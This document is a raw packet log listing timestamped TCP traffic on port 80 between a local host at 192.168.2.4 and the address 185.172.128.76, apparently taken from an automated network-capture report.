Apr 25, 2024 14:42:10.689775944 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.689780951 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.689814091 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.689820051 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.689856052 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.689889908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.689927101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.689937115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.689966917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.689973116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690006018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690011978 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690052032 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690078974 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690113068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690124989 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690150023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690156937 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690190077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690196037 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690227985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690234900 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690263987 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690274000 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690303087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690309048 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690340042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690346003 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690377951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690393925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690418005 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690428019 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690455914 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690459967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690494061 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690500975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690532923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690536022 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690567017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690577984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690613031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690638065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690675974 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690679073 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690713882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690720081 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690758944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690802097 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690841913 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690848112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690880060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690886974 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690917015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690929890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.690956116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.690962076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.691001892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.691091061 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.691147089 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.691162109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.691195965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.691210032 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.691239119 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.691266060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.691318035 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.691369057 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.691420078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.691534996 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.691572905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.691589117 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.691612005 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.691618919 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.691657066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.691684008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.691721916 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.691729069 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.691759109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.691766977 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.691797018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.691804886 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.691842079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.691867113 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.691919088 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.691927910 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.691952944 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.691966057 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.691987038 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.691998005 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692006111 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692029953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692039013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692048073 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692058086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692080021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692091942 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692095995 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692135096 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692140102 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692154884 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692177057 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692193031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692207098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692229986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692245007 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692255020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692271948 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692281008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692284107 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692322016 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692329884 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692370892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692378044 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692394018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692409992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692418098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692429066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692451954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692491055 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692532063 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692543030 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692574978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692584038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692612886 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692637920 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692673922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692681074 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692708969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692715883 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692749977 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.692785978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.692822933 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.739629030 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.739648104 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.739689112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.739706039 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.739733934 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.739819050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.739824057 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.739824057 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.739825010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.739825010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.739825010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.739865065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.740161896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.740211964 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.740226984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.740262032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.740276098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.740303993 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.740309954 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.740328074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.740353107 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.740365982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.740376949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.740396023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.740417957 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.740438938 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.740474939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.740516901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.740674973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.740695000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.740725040 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.740741014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.740758896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.740801096 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.740840912 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.740885019 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.740914106 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.740933895 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.740957975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.740972996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741008043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741050005 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741079092 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741121054 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741142988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741164923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741195917 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741210938 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741228104 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741244078 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741261959 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741270065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741283894 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741298914 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741329908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741365910 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741373062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741383076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741409063 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741417885 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741431952 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741451025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741476059 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741488934 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741527081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741569042 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741580009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741620064 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741650105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741669893 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741686106 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741693974 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741710901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741727114 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741754055 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741795063 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741799116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741841078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741873026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741892099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741921902 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741933107 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.741935015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741971970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.741978884 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.742016077 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.742054939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.742096901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.742120028 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.742173910 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.742187977 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.742233038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.742419958 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.742468119 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.742625952 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.742674112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.742985010 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.743031979 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.743119001 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.743139982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.743168116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.743182898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.743216038 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.743257999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.743577957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.743623018 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.743779898 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.743827105 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.743844032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.743885994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.743911028 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.743931055 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.743948936 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.743962049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.743973017 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.743982077 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.743983984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744002104 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744018078 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744028091 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744039059 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744055033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744069099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744091988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744119883 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744132042 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744133949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744151115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744177103 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744185925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744199038 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744231939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744240046 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744266987 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744272947 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744285107 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744307995 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744322062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744440079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744482040 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744503021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744544029 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744574070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744609118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744615078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744649887 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744664907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744708061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744755030 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744771957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744788885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744793892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744812965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744824886 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744824886 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744863033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744888067 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744904041 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744927883 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744936943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.744946957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744966984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.744991064 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745001078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745002985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745034933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745042086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745073080 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745136023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745182037 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745187044 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745227098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745228052 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745268106 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745335102 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745353937 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745371103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745384932 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745398998 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745400906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745413065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745440006 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745445013 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745481968 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745491028 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745527029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745531082 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745543957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745567083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745575905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745578051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745614052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745618105 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745649099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745651960 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745691061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745712042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745731115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745753050 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745762110 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.745765924 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.745803118 CEST	80	49731	185.172.128.76	192.168.2.4
